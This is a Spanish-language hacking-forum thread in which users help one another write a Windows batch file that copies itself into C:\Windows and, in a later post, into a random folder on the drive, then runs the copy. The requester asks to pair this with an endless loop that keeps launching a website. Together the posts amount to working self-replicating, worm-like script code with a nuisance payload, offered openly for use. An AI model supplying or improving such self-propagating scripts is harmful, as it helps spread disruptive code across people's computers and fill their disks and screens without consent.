Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: xpaRtanus en 31 Marzo 2012, 20:31 pm



Título: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: xpaRtanus en 31 Marzo 2012, 20:31 pm
Hola a todos

¿Cómo puedo crear un archivo .bat que se copie a si mismo en diversos lugares que yo haya especificado previamente?.


Gracias de antemano y salu2


Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: Eleкtro en 31 Marzo 2012, 20:47 pm
¿Cómo puedo crear un archivo .bat que se copie a si mismo en diversos lugares que yo haya especificado previamente?.

http://ss64.com/nt/syntax-args.html

Código
  1. @Echo off
  2. Set "Destino=C:\Windows\"
  3. Copy "%~0" "%Destino%"

Salu2.


Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: $Edu$ en 31 Marzo 2012, 21:12 pm
Para hacer una copia no es mejor poner "%0" sin el "~" ? asi lo pone con comillas y no da errores. Pregunto nomas


Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: Eleкtro en 31 Marzo 2012, 21:17 pm
Para hacer una copia no es mejor poner "%0" sin el "~" ? asi lo pone con comillas y no da errores. Pregunto nomas

Es lo mismo $Edu$
Solo lo puse así para que tome la buena costumbre a usar comillas dobles en Batch.

%0     = Con comillas.
%~0   = Se expande sin comillas.
"%~0" = Se expande sin comillas, Pero lleva comillas xD.

Salu2.


Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: $Edu$ en 31 Marzo 2012, 23:16 pm
Ah no no claro, no habia visto las comillas xD Mala mia.


Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: xpaRtanus en 3 Abril 2012, 17:38 pm
muxas gracias a todos  ;-)


Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: xpaRtanus en 1 Mayo 2012, 18:17 pm
Y para que se copie cada vez en un lugar diferente?Se puede hacer con batch?


Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: ELVJop en 1 Mayo 2012, 19:13 pm
lo maximo seria que se preguntara donde:
Código:
@Echo off
Set /p Destino=Digame un destino:
Copy "%~0" "%Destino%"
pause
Exit
Si no que yo sepa en batch no se puede


Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: Runex en 1 Mayo 2012, 19:56 pm
lo maximo seria que se preguntara donde:
Código:
@Echo off
Set /p Destino=Digame un destino:
Copy "%~0" "%Destino%"
pause
Exit
Si no que yo sepa en batch no se puede

Y en vez de pedir el directorio como entrada de teclado, porque no usas los directorios globales esos que usa batch y los copias usando Copy? :S



Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: Eleкtro en 2 Mayo 2012, 00:31 am
Y para que se copie cada vez en un lugar diferente?Se puede hacer con batch?

da más detalles.

¿Que se copie 1 vez, en un lugar distinto, al iniciar el bat? ¿Lugares especificos o aleatorios?

Saludos


Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: xpaRtanus en 4 Mayo 2012, 16:43 pm
Que cada vez qe ejecutes el archivo ___.bat se copie a si mismo en un directorio a parte de k ejecute una accion como:
@echo off
echo Hola
pause>nul
:bucle
start foro.elhacker.net
goto :bucle


Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: $Edu$ en 4 Mayo 2012, 16:53 pm
Pero a que directorio? Elektro.. se puede hacer "cd %directorio%" mientras que %directorio% es una variable que contiene rutas de directorios que va cambiando al azar? no se si me entiendes y talvez no se puede. Creo que es lo que quiere el usuario, que por ejemplo la primera vez haga un:

Copy /y %0 C:\hola\

La segunda vez q se ejecute hara:

Copy /y %0 C:\Archivos de programa\

y todo asi, mientras que esas rutas son las que se toman al azar


pd: Si no se puede.. como se hace para ingresar al directorio que esta al lado del bat? con "cd ..." pero no se que poner luego, si no se sabe cual es el directorio y ademas si hay muchos directorios no se cual se tomaria primero.


Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: Eleкtro en 4 Mayo 2012, 18:46 pm
Pero a que directorio? Elektro.. se puede hacer "cd %directorio%" mientras que %directorio% es una variable que contiene rutas de directorios que va cambiando al azar? no se si me entiendes y talvez no se puede. Creo que es lo que quiere el usuario, que por ejemplo la primera vez haga un:
Si, se puede, se me ocurre una manera:

Código
  1. :: Listar todas las carpetas del disco
  2. Dir /B /S /AD "%homedrive%\" > Lista.txt
  3.  
  4. :: Una funcion para randomizar la lista, y tomar una linea de la lista aleatoriamente.
  5. For /L + Lista.txt...
  6. For /F + %RANDOM% + Lista.txt...
  7. (por ejemplo)
  8.  

pd: Si no se puede.. como se hace para ingresar al directorio que esta al lado del bat? con "cd ..." pero no se que poner luego, si no se sabe cual es el directorio y ademas si hay muchos directorios no se cual se tomaria primero.

Creo que te refieres a esto:
Código
  1. PUSHD "%~dp0"



Código
  1. @echo off
  2.  
  3. If "%~1" EQU "" (Dir /B /S /AD "%HOMEDRIVE%\" > "%TEMP%\Dirs.txt")
  4.  
  5. :Commands
  6. echo %0
  7. echo foro.elhacker.net | MORE
  8.  
  9. For /F "Tokens=*" %%a in ('Type "%TEMP%\Dirs.txt" ^| MORE +%RANDOM%') Do (Set "Folder=%%a" & Goto :Break)
  10.  
  11. :Break
  12. Copy %0 "%Folder%\" 1>NUL 2>&1 && CMD /C "%Folder%\%~xn0" NEXT || Goto :Copy

PD: Va algo lento


Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: $Edu$ en 4 Mayo 2012, 18:52 pm
Ni se me ocurrira correrlo xD pero entendi ya, gracias!


Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: xpaRtanus en 11 Mayo 2012, 14:44 pm
Muxaaas gracias a todos sobre todo a ti ElectroHacker ers el ***** jefe del batch


Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: nrzamel en 26 Mayo 2013, 23:58 pm
Hola y como se podria hace para q ese archivo antes de copiarse en un directorio compruebe si existe si existe q no se copia y si no existe q se copie

    @Echo off
    Set "Destino=C:\Windows\"
    Copy "%~0" "%Destino%"
    pause
    Exit
que abria q agragarle alii
gracias de antemano


Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: Meine programmen en 27 Mayo 2013, 16:12 pm
Hola y como se podria hace para q ese archivo antes de copiarse en un directorio compruebe si existe si existe q no se copia y si no existe q se copie

    @Echo off
    Set "Destino=C:\Windows\"
    Copy "%~0" "%Destino%"
    pause
    Exit
que abria q agragarle alii
gracias de antemano
Pon antes del copy un
Código:
IF EXIST "%Destino%"